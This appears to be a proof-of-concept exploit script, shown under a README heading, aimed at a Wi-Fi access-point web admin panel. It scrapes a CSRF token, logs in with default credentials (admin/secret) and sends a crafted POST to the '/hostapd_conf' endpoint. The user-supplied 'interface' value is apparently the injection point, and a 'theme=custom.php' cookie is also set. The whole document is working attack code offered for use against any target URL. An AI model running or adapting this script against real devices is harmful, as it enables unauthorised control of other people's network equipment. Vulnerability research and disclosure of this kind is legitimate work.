README.md
Rendering markdown...
import requests
import argparse
from bs4 import BeautifulSoup
class CSRFSession:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.csrf_token = None
self.php_sessid = None
def get_csrf_token(self):
"""Fetch CSRF token from login page."""
login_url = f"{self.base_url}/login?action=%2F"
response = self.session.get(login_url)
if response.status_code != 200:
raise Exception(f"Failed to access login page: {response.status_code}")
soup = BeautifulSoup(response.text, "html.parser")
meta_tag = soup.find("meta", {"name": "csrf_token"})
if not meta_tag:
raise Exception("CSRF token not found")
self.csrf_token = meta_tag["content"]
print(f"[+] CSRF Token: {self.csrf_token}")
def login(self, username, password):
"""Perform login with CSRF token."""
login_url = f"{self.base_url}/login"
headers = {
"Origin": self.base_url,
"Referer": f"{self.base_url}/login?action=%2F",
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
"csrf_token": self.csrf_token,
"login-auth": "",
"redirect-url": "/",
"username": username,
"password": password
}
response = self.session.post(login_url, headers=headers, data=data, allow_redirects=False)
if response.status_code != 302:
raise Exception(f"[-] Login failed: {response.status_code}")
# Extract PHPSESSID from cookies
self.php_sessid = self.session.cookies.get("PHPSESSID")
if not self.php_sessid:
raise Exception("PHPSESSID not found in cookies after login")
print(f"[+] Logged in successfully. PHPSESSID: {self.php_sessid}")
def post_request(self, endpoint, post_data):
"""Send a POST request with CSRF token and session ID."""
url = f"{self.base_url}{endpoint}"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"PHPSESSID={self.php_sessid}; theme=custom.php",
}
post_data["csrf_token"] = self.csrf_token # Ensure CSRF token is included
response = self.session.post(url, headers=headers, data=post_data)
if response.status_code == 200:
print("[+] Request successful.")
else:
print(f"[-] Request failed: {response.status_code}")
# Print to debug
# print(response.text)
def main():
parser = argparse.ArgumentParser(description="PoC: Automate login and POST request with CSRF token handling")
parser.add_argument("--base-url", required=True, help="Base URL of the target system (e.g., http://192.168.122.22)")
parser.add_argument("--interface", required=True, help="Interface parameter for the POST request (e.g., eth0)")
parser.add_argument("--username", default="admin", help="Username for login (default: admin)")
parser.add_argument("--password", default="secret", help="Password for login (default: secret)")
args = parser.parse_args()
client = CSRFSession(args.base_url)
client.get_csrf_token()
client.login(args.username, args.password)
# Define the POST payload dynamically with interface argument
endpoint = "/hostapd_conf"
post_data = {
"SaveHostAPDSettings": "true",
"wpa": "2",
"wpa_pairwise": "CCMP",
"hw_mode": "n",
"interface": args.interface,
}
client.post_request(endpoint, post_data)
client.post_request(endpoint, post_data)
if __name__ == "__main__":
main()